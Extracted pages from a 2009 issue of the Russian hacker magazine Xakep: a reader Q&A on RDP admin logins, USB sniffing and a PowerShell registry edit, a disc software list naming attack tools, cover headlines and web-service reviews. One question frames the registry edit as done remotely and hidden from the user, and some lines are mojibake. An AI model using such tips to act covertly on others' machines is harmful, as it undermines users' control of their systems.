«крыску» (http://andrq.org).<br />

Q: Не могу зайти на дедик! При входе пишет,<br />

что залогинено максимальное число пользователей!<br />

Как быть?<br />

A: Тебе необходимо зайти на дед под админской<br />

учеткой с помощью специального ключа<br />

mstsc:<br />

mstsc /admin (íàïðèìåð, Windows XP<br />

SP3);<br />

mstsc /console (íàïðèìåð, Windows<br />

XP SP2 è äðóãèå, áîëåå ñòàðûå, âåðñèè<br />

Âèíäû).<br />

Зайдя на дедик, вызывай Run taskmgr, заходи<br />

во вкладку с пользователями и разлогинивай<br />

любого не понравившегося юзера :).<br />

P.S. Описанная тобой в сабже неприятность<br />

(максимальная одновременная работа только<br />

двух пользователей) обычно наблюдается у<br />

нелицензированной серверной Винды. Вывод:<br />

задумайся над лицензированием.<br />

Q: Подскажите, возможно ли включить виртуализацию<br />

Hyper-V для Windows7.<br />

A: Без проблем! Алгоритм такой:<br />

1. Сначала выкачиваем Remote Admin Tools с<br />

сайта Microsoft: technet.microsoft.com/en-us/<br />

library/cc780654.aspx.<br />

2. После установки заходим в «Control Panel<br />

Programs and Features» и отключаем «Turn<br />

Windows features on or off».<br />

3. Непосредственно включаем Hyper-V через<br />

«Remote Server Administration Tools Role<br />

Administration Tools Hyper-V Tools».<br />

Q: Можно ли через PowerShell внести изменения<br />

в реестр так, чтобы не появились<br />

сообщения regedit’а? Есть необходимость<br />

выполнить некоторые действия удаленно<br />

через шелл и скрытно от пользователя.<br />

A: Легко, — причем PowerShell предоставляет<br />

намного больше возможностей, нежели<br />

обычные .REG-файлы. В следующем примере<br />

мы добавим в раздел HKEY_LOCAL_<br />

MACHINE\SOFTWARE\Microsoft\Windows NT\<br />

CurrentVersion\IniFileMapping\Autorun.inf ключ<br />

@=»@SYS:DoesNotExist», отключив автозагрузку<br />

в системе (подробнее — читай в прошлом<br />

номере статью «Вакцина для флешки»). Перед<br />

добавлением мы проверим, чтобы такого ключа<br />

еще не было в системе.<br />

function Disable-AutoRun<br />

{<br />

$item = Get-Item '<br />

"REGISTRY::HKEY_LOCAL_<br />

MACHINE\Software\Microsoft\<br />

Windows NT\CurrentVersion\<br />

IniFileMapping\AutoRun.inf" '<br />

-ErrorAction<br />

SilentlyContinue<br />

if (-not $item) {<br />

$item = New-Item<br />

"REGISTRY::HKEY_LOCAL_MACHINE\<br />

Software\Microsoft\Windows NT\<br />

CurrentVersion\IniFileMapping\<br />

AutoRun.inf"<br />

}<br />

Set-ItemProperty $item.PSPath<br />

"(default)" "@SYS:DoesNotExist"<br />

}<br />

Q: Хочу изучить работу одного хитрого девайса,<br />

который подключается к компьютеру по<br />

USB. Поэтому такой вопрос: как проще всего<br />

отснифать весь трафик и передаваемые<br />

данные по портам USB?<br />

A: Если речь идет о Винде, то есть сразу несколько<br />

решений: USBTrace (www.sysnucleus.<br />

com), USB Monitor Professional (www.<br />

hhdsoftware.com), USBSpy 2.0 (www.everstrike.<br />

com/usb-monitor). Одна загвоздка — они<br />

платные. В случае с линуксом пользоваться<br />

шароварными или крякнутыми прогами не<br />

придется, потому что все необходимое есть<br />

уже в самой системе. В ядре доступен модуль<br />

usbmon, который существует испокон веков и<br />

как раз отвечает за снифинг USB-шины. Вывод<br />

этого драйвера можно просмотреть хоть через<br />

консоль, — если примонтировать debugfs и<br />

insmod’ить модуль usbmon:<br />

mount -t debugfs none_debugs /sys/<br />

kernel/debug<br />

modprobe usbmon<br />

Для просмотра USB-трафика понадобится не<br />

более чем одна команда cat:<br />

cat /sys/kernel/debug/usbmon/1u<br />

Все данные идут в виде ASCII дампа, который<br />

очень легко пропарсить. Впрочем, есть и другой<br />

хинт. Известная библиотека Libpcap также<br />

поддерживает формат usbmon, а, значит, можно<br />

снимать USB-трафик построенным на ней<br />

снифером tcpdump. Более того — благодаря<br />

этому можно получать и просматривать данные<br />

в удобном графическом интерфейсе Wireshark<br />

(www.wireshark.org).<br />

Q: Как объединить движки разных браузеров<br />

в одной программе, чтобы отследить как<br />

рендерятся страницы в каждом из них?<br />

А: Сходу могут назвать пару вариантов.<br />

1. Использовать Firefox с дополнением IE<br />

Tab (ietab.mozdev.org) для браузера Internet<br />

Explorer и OperaView (operaview.mozdev.org) —<br />

соответственно, для Opera.<br />

2. Заинсталить программу от японских программеров<br />

Lunascape, которая объединяет в<br />

себе три движка для рендеринга веб-страниц<br />

— Trident (Internet Explorer), Gecko (Mozilla<br />

Firefox) и WebKit (Safari, Google Chrome). Это<br />

решение бесплатно можно скачать с www.<br />

lunascape.tv.<br />

Q: Как определить разрядность .EXE или .DLL<br />

(т.е. тип процессора, для которого скомпилирован<br />

файл)?<br />

A: Первый вариант — воспользоваться сборщиком<br />

из поставки Visual Studio:<br />

link.exe /dump /headers <br />

У Microsoft существует небольшая утилита<br />

filever.exe (http://support.microsoft.com/<br />

kb/913111), которая выдает как раз то, что нужно,<br />

о любом бинарнике:<br />

filever.exe z<br />

126<br />

XÀÊÅÐ 04 /124/ 09


x<br />

№ 04(124) АПРЕЛЬ 2009<br />

>>WINDOWS<br />

>Dailysoft<br />

7-Zip 4.65<br />

AIMP 2.51<br />

Autoruns 9.40<br />

DAEMON Tools Lite 4.30.3<br />

Download Master 5.5.10.1163<br />

FarPowerPack 1.15<br />

FileZilla Client 3.2.3.1<br />

K-Lite Mega Codec Pack 4.75<br />

Miranda IM 0.7.17<br />

Mozilla Firefox 3.0.8<br />

Notepad++ 5.3.1<br />

Opera 9.64<br />

PuTTY 0.60<br />

QIP Infium RC4 Build 9030<br />

Skype 4.04.0<br />

Total Commander 7.04a<br />

Unlocker 1.8.7<br />

XnView 1.96<br />

>Development<br />

CodeLobster PHP Edition 3.0<br />

CollabNetSubversion 1.6.0-7<br />

E-TextEditor 1.0.30<br />

Intype Alpha 0.3.1.547<br />

Titanium SDK 0.3<br />

TortoiseSVN 1.6.0<br />

>Games<br />

PCSX2 0.9.6<br />

>Misc<br />

Eyeskeeper 2.0<br />

f.lux<br />

Jedi Concentrate<br />

Jedi Window Dock<br />

NiftyWindows 0.9.3.1<br />

OpenWithView 1.02<br />

Process Blocker 0.5b<br />

TaggedFrog 0.8.1<br />

Tudumo 1.1.1.25<br />

UbitMenu<br />

Workrave 1.9.0<br />

>Multimedia<br />

AAA Logo 2009 3.0<br />

CamSpace 8.1<br />

IKEA Home Planner<br />

iTunes 8.1<br />

LastFM 1.06<br />

LiberTV 1.4.0.0<br />

Microsoft WorldWide Telescope<br />

Random MixTape Maker 1.8.27.73<br />

SumatraPDF 0.9.3<br />

TrackMe<br />

Tunatic 1.0.1b<br />

Навигатор<br />

>Net<br />

CCNA Network Visualizer 6.0<br />

Cookienator 2.5.32<br />

Google Chrome 2.0.172.0<br />

HamachiSetup 1.0.3.0<br />

Iconix<br />

IE7Pro 2.4.5<br />

Internet Explorer 8.0<br />

Lunascape 5 RC1<br />

Mikogo<br />

Opera Turbo alpha<br />

qutIM 0.2a<br />

RDP Manager<br />

The Favorite Start Page 1.77<br />

TightVNC 1.3.10<br />

X-Lite 3.0<br />

Yoics for Windows 2.6.086<br />

Плагины для Firefox:<br />

CoolPreviews 2.7.2<br />

DOM Inspector 2.0.3<br />

Firebug 1.3.3<br />

Flashblock 1.5.9<br />

FoxyProxy 2.8.14<br />

HackBar 1.3.2<br />

NoScript 1.9.1.4<br />

SQL Inject Me 0.4.0<br />

Tamper Data 10.1.0<br />

Torbutton 1.2.1<br />

Web Developer 1.1.6<br />

XSS Me 0.4.0<br />

>Security<br />

ExpanDrive 1.8.3<br />

FileFuzz<br />

<strong>Online</strong> Solutions Security Suite<br />

0.8 Beta<br />

Panda USB Vaccine 1.0.0.19<br />

Swish 0.2.1.9<br />

SysAnalyzer<br />

Wireshark 1.0.6<br />

>System<br />

Avira AntiVir Personal 9<br />

Bill2's Process Manager v3.3.0.1<br />

Drive Backup 9.0 Express<br />

FBackup 4.1<br />

HD_Speed 1.5.3.64<br />

KDE 0.9.5-0<br />

MONyog MySQL Monitor and Advisor<br />

3.0.4<br />

MySQL 6.0 Alpha<br />

Perfgraph 3.0<br />

PortableApps.com Suite 1.5.2<br />

RadarSync 2009<br />

Revo Uninstaller 1.80<br />

SQLyog 8.04<br />

>>UNIX<br />

>Desktop<br />

2ManDVD 0.6.2<br />

AcidRip 0.14<br />

Archimedes 0.52.0<br />

Avidemux 2.4.4<br />

DigiKam 0.10<br />

DVDStyler 1.7.2<br />

Exaile 0.2.14<br />

FBReader 0.10.5<br />

Ffmpeg 0.5<br />

Gnome 2.26<br />

GPicView 0.1.11<br />

Intipunku 0.4<br />

Jajuk 1.7.1<br />

Medusa4 3.1.1<br />

Octave 3.0.3<br />

OpenOffice.org 3.0.1<br />

PeaZip 2.5.1<br />

Perl Audio Converter 4.0.5<br />

Picasa 3.0 beta<br />

sK1 0.9.0<br />

SongBird 1.1.1<br />

Sound Juicer 2.26.0<br />

Xneur 0.9.3<br />

Xvidcap 1.1.7<br />

>Devel<br />

Adventure PHP Framework 1.8<br />

Anjuta IDE 2.26<br />

bashdb 4.0.0.2<br />

DDD 3.3.12<br />

EiffelStudio 6.3<br />

IntellijIDEA 8.1<br />

MonoDevelop 1.9.3<br />

Nasm 2.06rc8<br />

Pango 1.24.0<br />

Parrot 1.0<br />

QDevelop 0.27.4<br />

Qt 4.5.0<br />

Qt Creator 1.0<br />

RapidSVN 0.9.8<br />

Ruby 1.9.1<br />

Subversion 1.6.0<br />

Titanium<br />

Все для Ruby - Aptana Studio 1.2.5<br />

Все для Ruby - Arcadia 0.6.0<br />

Все для Ruby - FreeRIDE 0.9.6<br />

Все для Ruby - IronRuby 0.3<br />

Все для Ruby - JRuby 1.2.0<br />

Все для Ruby - korundum 3.5.5<br />

Все для Ruby - qt4-qtruby 2.0.3<br />

Все для Ruby - Rails 2.3.2<br />

Все для Ruby - RubyGems 1.3.1<br />

Все для Ruby - wxRuby2 2.0.0<br />

>Games<br />

Neverball 1.5.0<br />

OpenArena 0.7.1<br />

>Net<br />

Amsn 0.97.2<br />

bareFTP 0.2.1<br />

Ekiga 3.2.0<br />

Gajim 0.12.1<br />

LFTP 3.7.11<br />

Mozilla Firefox 3.0.8<br />

Mozilla Thunderbird 2<br />

Opera 9.64<br />

Opera Turbo 10.0.4166 Alpha<br />

Pidgin 2.5.5<br />

Psi 0.12<br />

QuickSynergy 0.9.0<br />

qutIM 0.2 alpha<br />

Smuxi 0.6.3<br />

Synapse IM<br />

Synergy 1.3.1<br />

Tightvnc 1.3.10<br />

Tkabber 0.11.1<br />

>Security<br />

Automated Password Generator<br />

2.2.3<br />

ClamAV 0.95<br />

Epicwebhoneypot 1.0c<br />

Fail2ban 0.8.3<br />

Ferm 2.0.5<br />

GnuPG 2.0.11<br />

iodine 0.5.1<br />

ITS4 Security Scanner 4-1.1.1<br />

m0n0wall 1.3b15<br />

Nmap 4.76<br />

OpenVAS 2.0<br />

RogueScanner 2.6.0.0<br />

SILC 1.1<br />

Snare 1.5.0<br />

Strongswan 4.2.13<br />

UnHash 1.0<br />

Unhide<br />

Wireshark 1.0.6<br />

>Server<br />

Apache 2.2.11<br />

ASSP 1.4.3.1<br />

Asterisk 1.6.0.6<br />

Bacula 2.4.4<br />

DBMail 2.3.5<br />

djbdns 1.05<br />

Dnstop 2009.01.28<br />

Dovecot 1.2 beta4<br />

Icecast 2.3.2<br />

MediaTomb 0.11<br />

Mongoose 2.4<br />

PostgreSQL 8.3.7<br />

Postoffice 1.4.10<br />

TFTP Server 1.6<br />

Unbound 1.2.1<br />

VideoLAN Server 0.5.6<br />

Vino 2.26.0<br />

>System<br />

Apcupsd 3.14.5<br />

ATI Radeon Linux Display Drivers 9.2<br />

Cobbler 1.4.3<br />

Foremost 1.5.5<br />

LDAP Account Manager 2.5.0<br />

Lynis 1.2.4<br />

NVClock 0.8<br />

nVidia Linux Display Driver x86<br />

180.29<br />

PCSX2 0.9.6<br />

Photorec 6.10<br />

Qemu 0.10.1<br />

rovclock 0.6e<br />

>X-distr<br />

BackTrack 4 beta<br />

Damn Vulnerable Linux 1.5<br />

nUbuntu 8.12<br />

STD 0.1<br />

ПОЛНЫЙ АНАЛИЗ ПРИВАТНЫХ БАГОВ WORDPRESS СТР. 52<br />

ЖУРНАЛ ОТ КОМПЬЮТЕРНЫХ ХУЛИГАНОВ<br />

www.xakep.ru<br />

АПРЕЛЬ 04 (124) 2009<br />

ДЕНЬ ГЕЙМЕРА<br />

WWW.GAMER-CITY.RU<br />

СТР. 4<br />

Loveletter<br />

2<br />

Code red<br />

3<br />

PC27<br />

4<br />

1<br />

Nimda<br />

Melissa<br />

Sasser<br />

Slammer<br />

6<br />

5<br />

J3<br />

ЛУЧШИХ<br />

ВИРУСОВ<br />

ИСТОРИЯ ЗЛА<br />

1999-2009<br />

СТР. 20<br />

Storm<br />

9<br />

Warezov<br />

8<br />

PC27 adaptor<br />

7<br />

Mebroot<br />

Sony rootkit<br />

10<br />

НАВИГАЦИЯ<br />

БЕЗ GPS<br />

АЛЬТЕРНАТИВНЫЕ<br />

СПОСОБЫ<br />

ОПРЕДЕЛЕНИЯ<br />

КООРДИНАТ<br />

СТР. 26<br />

БАЗУ ДАННЫХ<br />

НЕ СТАЩИТЬ!<br />

НОВЫЙ ПУТЬ<br />

ДЛЯ ЗАЩИТЫ<br />

ДАННЫХ В БД<br />

СТР. 32<br />

АТАКА<br />

ТВИТТЕРА<br />

КАК СПАМЯТ<br />

TWITTER<br />

СКРИПТАМИ НА<br />

PYTHON’E<br />

СТР. 88


http://<br />

WWW2<br />

ДЛЯ СЪЕМКИ<br />

СКРИНКАСТОВ<br />

SCREENTOASTER<br />

WWW.SCREENTOASTER.COM<br />

Это вещь! Еще недавно я сильно негодовал, что все толковые средства<br />

для съемки и монтажа скринкастов платные, а тут на тебе — нашелся<br />

совершенно бесплатный, грамотный инструмент, и, к тому же, работающий<br />

онлайн! ScreenToaster позволяет снять ролик со всего экрана (Linux,<br />

Windows, Mac) или выбранной части, сопровождать видео аудиокомментариями,<br />

выполнить простой монтаж после съемки, добавить субтитры.<br />

А результат? Очень качественный ролик в SWF, который не только можно<br />

скачать, но и сразу захостить на разных сервисах!<br />

QUAKE LIVE<br />

WWW.QUAKELIVE.COM<br />

QUAKE3 В ОКНЕ<br />

БРАУЗЕРА<br />

Когда-то давно я сильно извращался, чтобы запустить Quake3 на древнем<br />

Pentium’е без 3d-ускорителя и добился даже скорости в 2 FPS. :) А что<br />

сегодня? Удальцы iD Software, которым, кстати, большой респект за все<br />

три версии шутера, взяли да и сделали онлайн-версию любимой квачи!<br />

Да, теперь побегать с шотганом и пострелять приятелей можно прямо из IE<br />

или Firefox’а. Для этого автоматически скачивается специальный плагин,<br />

который подгружает текстуры, карты, запоминает конфиг и т.д. Получаем<br />

убойную связку — клон Q3 в окне браузера плюс социальная сеть для поклонников<br />

шутера. И каюсь, что не сказал ранее: вовсю рубился в Quake Live<br />

еще на стадии бета-тестирования.<br />

ДЛЯ<br />

СИНХРОНИЗАЦИИ<br />

ФАЙЛОВ МЕЖДУ<br />

РАЗНЫМИ<br />

КОМПЬЮТЕРАМИ<br />

AUDIOTAG.INFO<br />

WWW.AUDIOTAG.INFO<br />

СЕРВИС<br />

ДЛЯ<br />

РАСПОЗНАВАНИЯ<br />

МУЗЫКИ<br />

Скажите: а жива ли еще передача «Угадай мелодию»? Вот если б кому-то<br />

из участников взбрело в голову заюзать сервис AudioTag, то остальные,<br />

вероятно, остались бы не у дел. Отныне не надо быть большим меломаном,<br />

чтобы узнать название композиции — достаточно загрузить отрывок<br />

в 10-40 секунд на этот сервис. AudioTag.info сравнит его со своими<br />

сэмплами в базе и тут же выдаст ответ. Любые подсунутые ей композиции<br />

она определяла на раз-два. Завалить не удалось даже редким саундтреком:<br />

после этого я сдался.<br />

MICROSOFT LIVE SYNC<br />

WWW.FOLDERSHARE.COM<br />

Если ты по-прежнему пересылаешь файлы себе по email, чтобы работать<br />

с последней версией на разных компьютерах, или, караул, — таскаешь их<br />

на флешке, знай: этот сервис для тебя! Ребята из компании Foldershare,<br />

ныне купленной Micrsoft, создали отличный инструмент для прозрачной<br />

синхронизации файлов между несколькими компьютерами. Причем,<br />

необязательно это должны быть только твои системы: крайне удобно<br />

использовать Live Sync для совместной работы вместе с друзьями!<br />

128<br />

XÀÊÅÐ 04 /124/ 09

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!